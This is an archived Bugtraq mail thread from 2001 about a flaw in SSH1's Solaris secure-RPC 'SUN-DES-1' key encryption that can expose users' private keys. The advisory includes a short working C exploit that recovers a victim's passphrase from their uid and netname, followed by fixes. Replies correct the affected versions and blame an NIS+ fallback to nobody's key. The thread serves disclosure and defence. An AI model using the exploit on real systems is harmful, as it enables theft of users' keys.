5965253 2001-01-16 09:14 -0800 /220 rader/ <ssh2-bugs@SSH.COM> Sänt av: joel@lysator.liu.se Importerad: 2001-01-17 00:51 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: ssh2-bugs@ssh.com Mottagare: Bugtraq (import) <14844> Ärende: Bug in SSH1 secure-RPC support can expose users' private keys ------------------------------------------------------------ From: ssh2-bugs@SSH.COM To: BUGTRAQ@SECURITYFOCUS.COM Message-ID: <20010116091449.A2299@ssh.com> Hello all, There is a bug in SSH-1.2.30 involving Secure RPC. The patch for this is available at http://www.ssh.com/patches.html. The explanation and bug was submitted by Richard Silverman (slade@shore.net), and his explanation of the bug is below. The SSH1 protocol is not formally supported by SSH Communications Security. However, as a service to the user community, we offer this patch as a potential way of addressing SSH1 related issues. If you have any questions or comments, please email ssh2-bugs@ssh.com. Thanks, -Anne When using "secure-RPC" support to encrypt a secret key file with the "SUN-DES-1 magic phrase," it is possible for SSH to generate a "magic phrase" which is easily discoverable by other users on the same host, or in the same NIS+ domain. Since this weakness can seriously threaten the secrecy of a user's private keys, I intend to post this information publically as soon as is feasible. I would, of course, like to allow you to assess the problem first and release a fix before I do so. Please keep me informed. If I do not hear back from you within a week (that is, by Friday 28 July 2000), I will go ahead and release the bug report. IMPACT: A user's private key file is encrypted with an easily discoverable passphrase. SYSTEMS AFFECTED: Any system running SSH1 with secure-RPC support. As far as I know, this is limited to Sun Solaris 2.x. I have seen the problem under Solaris 2.6 and 2.7, running on SPARC hardware. DETAILS: The SSH1 feature is called secure-RPC, but this is a little misleading. SSH1 does not use secure-RPC. Rather, it takes advantage of the cryptographic infrastructure present to support secure-RPC. On a Solaris system employing secure-RPC (for e.g. secure NFS or NIS+), there is a host-independent user and host naming scheme consisting of "netnames" contained in the "netid" table, and a Diffie-Hellman key pair belonging to each netname, contained in the "publickey" table. These tables may be kept in local files (/etc/netid, /etc/publickey), or stored in NIS+. User netnames look like "unix.<uid>@<domain>", and have an obvious mapping to local usernames via the uid on a given host. A user's Diffie-Hellman private key is stored encrypted with the user's "network password," which may differ from the user's login password on a particular host. Solaris includes a system server process called "keyserv," which is a caching and service agent for the secure-RPC private keys. To load the private key into keyserv, the user runs a program called "keylogin," which prompts for the network password. It then retrieves the user's private key from the publickey table, decrypts it with the password, and via an IPC mechanism stores the key with keyserv. Keyserv will only allow processes with the same uid as that which stored a key to access it. The keyserv API includes two functions, key_encryptsession and key_decryptsession. Their purpose is to support DES session key exchange between secure-RPC principals. The key_encryptsession routine takes a recipient netname N and DES key D. It looks up the public key P belonging to N, and retrieves from keyserv the private key K of the current user. It then encrypts D twice, using both Diffie-Hellman keys and P and K. The key_decryptsession routine performs the inverse operation on behalf of the recipient, recovering D. The SSH1 secure-RPC feature makes use of secure-RPC keys to encrypt the a user's SSH private key file without requiring a user-supplied passphrase. When ssh-keygen prompts the user for a passphrase to encrypt a new key (or change the passphrase of an existing key), it recognizes the special passphrase "SUN-DES-1". Instead of using this token as the passphrase, it does the following: - Finds the netname U of the current user. - Generates the string S: "ssh.XXXX", where XXXX is the user's uid in hexadecimal, left-padded with zeros. - Treats S as a DES key, padding it out on the right with 8 null bytes. - Calls key_encryptsession(U,S), producing S'. This encrypts S with both the public and private keys of the calling user. - Generates the string M, which is the (upper-case) ASCII hexadecimal representation of the 64-bit S'. This is the SUN-DES-1 "magic phrase." Ssh-keygen then uses M as the passphrase to encrypt the user's SSH private key in the usual way. The idea is that M is an automatically-generated secure passphrase for the user, and that an attacker would need the user's secure-RPC private key to discover M. When other SSH components need to read a private key file, they first generate M and attempt to decrypt the SSH private key with M; if that fails, they prompt the user for a passphrase. The problem occurs if I encrypt an SSH key using the SUN-DES-1 magic phrase, without having done a keylogin -- that is, keyserv does not have my Diffie-Hellman private key. The Solaris 5.7 man page for the key_encryptsession routine does not say explicitly what happens in this case, though it does say that the routine returns 0 on success and -1 on failure. One would assume that it returns failure in this case. The SSH code does check the return code and tells the user to do a keylogin if key_encryptsession fails. However, this does not always happen. I have seen the correct behavior happen very occasionally while testing, but most of the time, key_encryptsession returns success instead, and appears to have encrypted its argument only with the public key of the target netname, simply skipping the other encryption step. This produces a magic phrase which can be generated easily by any other user on the system. If the victim has uid U and netname V, the attacker simply ensures that he does not have a private key available (by doing a keylogout), then calls key_encryptsession(V,"ssh.<U>...") as described above; this recovers the victim's magic phrase. The attacker can then use this to decrypt the victim's private key file, should he get hold of it through other means. The user may not notice the problem immediately, as his SSH will be able to automatically decrypt the private key file as expected, as long as he remains "keylogged out". EXPLOIT: To demonstrate this problem on a Solaris system with secure-RPC keys in place, do a keylogout, then use ssh-keygen to generate a new key (or change the passphrase on an existing key), setting the passphrase to "SUN-DES-1". You will see the message: "Using SUN-DES-1 magic phrase to encrypt the private key." (That is, you will see this if the bug manifests. As I mentioned, I have occasionally seen key_encryptsession return failure in this situation, in which case you will see "Failed to get SUN-DES-1 magic phrase. Run keylogin.") Then, compile the following short program: == exploit.c ===================================== #include <stdio.h> #include <rpc/rpc.h> void die (char *msg) { fprintf(stderr,"%s\n",msg); exit(1); } main (int argc, char **argv) { char buf[MAXNETNAMELEN + 1]; des_block block; uid_t uid; char *netname; if (argc < 3) die("supply uid and netname"); sscanf(argv[1], "%d", &uid); netname = argv[2]; memset(buf, 0, sizeof(buf)); snprintf(buf, sizeof(buf), "ssh.%04X", uid); memcpy(block.c, buf, sizeof(block.c)); if (key_encryptsession(netname, &block) != 0) die("key_encryptsession failed"); printf("SUN-DES-1 magic phrase (uid %d, netname %s):\n %08X%08X\n", uid, netname, ntohl(block.key.high), ntohl(block.key.low)); } ================================================== Any user may now do a keylogout, then call this program with your uid and netname as arguments, e.g. "exploit 12345 unix.12345@domain.org". It will print out your magic phrase, which can be used directly to decrypt your private key file, e.g. with "ssh -i", "ssh-add", etc. FIX: The quick fix is this: in the routine userfile_get_des_1_magic_phrase (userfile.c:1150), change this line: if (getnetname(buf)) to this: if (getnetname(buf) && key_secretkey_is_set()) key_secretkey_is_set returns whether or not the calling process has a secret key registered with keserv. Unfortunately, this may not be complete solution. Judging from the secure-RPC code in auth-passwd.c, there are apparently two different versions of the keyserv API, 1 and 2, and key_secretkey_is_set is not available in version 1. In fact, auth-passwd.c has a routine my_secretkey_is_set, which calls key_secretkey_is_set if keyserv version 2 is available -- otherwise, it calls key_encryptsession and relies on it failing if the secret key is not set! This suggests that, if this bug occurs in version 1 as well as 2, there may be no simple, reliable way to tell if the calling process' secret key is registered with keyserv. Theoretically, one could call getpublickey(3N) to retrieve the user's public key, encrypt a test token with it, and compare this to the result of encrypting the token with key_encryptsession -- the secret key is set only if they are different. However, the Solaris secure-RPC library does not appear to expose routines for performing Diffie-Hellman operations directly, so this would not be straightforward. Since this is a problem with an old version of keyserv, and with an SSH1 option this is (I think) very little used, I haven't spent the time to come up with a fix for this. Perhaps someone with more motivation will do so. In the meantime, it may be best to simply disable the SSH1 secure-RPC feature if keyserv version 2 is not available (KEY_VERS2 is not defined by <rpc/rpc.h>. (5965253) --------------------------------(Ombruten) 5974649 2001-01-17 18:15 -0800 /76 rader/ Dan Harkless <dan-bugtraq@DILVISH.SPEED.NET> Sänt av: joel@lysator.liu.se Importerad: 2001-01-18 19:56 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: dan-bugtraq@DILVISH.SPEED.NET Mottagare: Bugtraq (import) <14878> Ärende: FORW: Re: Bug in SSH1 secure-RPC support can expose users' ------------------------------------------------------------ private keys From: Dan Harkless <dan-bugtraq@DILVISH.SPEED.NET> To: BUGTRAQ@SECURITYFOCUS.COM Message-ID: <200101180215.SAA16586@dilvish.speed.net> For some reason my Bugtraq post where I asked the below questions was not approved (I guess the patches URL issue had been resolved by moderation time, but the affected versions issue had not -- the advisory only makes reference to 1.2.30). Therefore, I sent the questions to ssh.com directly. Below is the response. ------- Forwarded Message Message-ID: <3A661F71.1553A3AC@ssh.com> Date: Wed, 17 Jan 2001 14:40:49 -0800 From: Stephanie Thomas <steph@ssh.com> Organization: SSH Communications Security Inc. To: Dan Harkless <dan-bugtraq@dilvish.speed.net> Subject: Re: Bug in SSH1 secure-RPC support can expose users' private keys References: <20010116091449.A2299@ssh.com> <200101172045.MAA15310@dilvish.speed.net> Hi Dan, All versions of SSH1, from 1.2.30 back (including 1.2.27), are vulnerable. Sorry about the incorrect url. Here's the correct one: http://www.ssh.com/ssh/patches.html Best Regards, Steph Dan Harkless wrote: > > ssh2-bugs@ssh.com writes: > > There is a bug in SSH-1.2.30 > > So is 1.2.27 not vulnerable? > > > involving Secure RPC. The patch for this is available at > > http://www.ssh.com/patches.html. > > No it isn't. That just gets a 404. > > ---------------------------------------------------------------------- > Dan Harkless | To prevent SPAM contamination, please > dan-bugtraq@dilvish.speed.net | do not mention this private email > SpeedGate Communications, Inc. | address in Usenet posts. Thank you. - -- Stephanie Thomas Technical Support Specialist SSH Communications Security Inc. 1076A E. Meadows Circle Palo Alto, CA 94303 ssh-support@ssh.com Conference NOTE: I will be out January 28, 2001 thru February 3, 2001 for the SANS conference. I will be checking email, but connectivity may be sporadic. When sending email regarding support, please be sure to cc: ssh-support@ssh.com to ensure that your request will be handled during my absence. ------- End of Forwarded Message ---------------------------------------------------------------------- Dan Harkless | To prevent SPAM contamination, please dan-bugtraq@dilvish.speed.net | do not mention this private email SpeedGate Communications, Inc. | address in Usenet posts. Thank you. (5974649) --------------------------------(Ombruten) 5975213 2001-01-18 19:20 +0100 /58 rader/ Andy Polyakov <appro@FY.CHALMERS.SE> Sänt av: joel@lysator.liu.se Importerad: 2001-01-18 23:37 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: appro@FY.CHALMERS.SE Mottagare: Bugtraq (import) <14889> Kommentar till text 5965253 av <ssh2-bugs@SSH.COM> Ärende: Re: Bug in SSH1 secure-RPC support can expose users' private keys ------------------------------------------------------------ From: Andy Polyakov <appro@FY.CHALMERS.SE> To: BUGTRAQ@SECURITYFOCUS.COM Message-ID: <3A673406.8C0C6EDD@fy.chalmers.se> Hello, > There is a bug in SSH-1.2.30 involving Secure RPC. The patch for this is > available at http://www.ssh.com/patches.html. > > The explanation and bug was submitted by Richard Silverman > (slade@shore.net), and his explanation of the bug is below. The SSH1 > protocol is not formally supported by SSH Communications Security. > However, as a service to the user community, we offer this patch as a > potential way of addressing SSH1 related issues. It probably should be noted that the "offending" code is present even in SSH 2.x, but it never gets invoked during the key generation process (i.e. in SSH 2.x). I write "offending" in quotes because I can't confirm following statement no matter how many times I try: > The problem occurs if I encrypt an SSH key using the SUN-DES-1 magic > phrase, without having done a keylogin -- that is, keyserv does not have > my Diffie-Hellman private key. ... most of the time, > key_encryptsession returns success instead, and appears to have encrypted > its argument only with the public key of the target netname, simply > skipping the other encryption step. In my environment I can *never* see key_encryptsession returning the success value in the lack of my secret key and I get "run keylogin" all the time... So that it must be something specific to Richard Silverman's NIS+ (mis?)configuration... And indeed, it appears that if /etc/nsswitch.conf is configured with "publickey: nisplus files" keyserv falls down to nobody's key-pair found in /etc/publickey and uses that private key whenever user private key is not around. It's discussible if "publickey: nisplus files" is "the right thing," but the facts are: - by default it contains "publickey: nisplus" alone; - nobody's key-pair found in /etc/publickey is well known (it's disseminated through OS distribution media, i.e. it's not generated during installation and it has the same value on all computers and all OS releases), it's not good idea to involve it; - use for nobody's key-pair is not documented anywhere and I have it hard to imagine what it would be useful for; - keyserv offers -d command line option disabling the use of default keys for nobody; > FIX: I should recommend to configure NIS+ properly instead (having well known key involved in authentication may have undesirable effect) or start keyserv with -d flag. If you seek a simpler way (i.e. simpler than restarting keyserv on every workstation) to instantly "revoke" the magic phrases encrypted with nobody's key, delete (or rename) /etc/publickey on every workstation. Andy. (5975213) --------------------------------(Ombruten)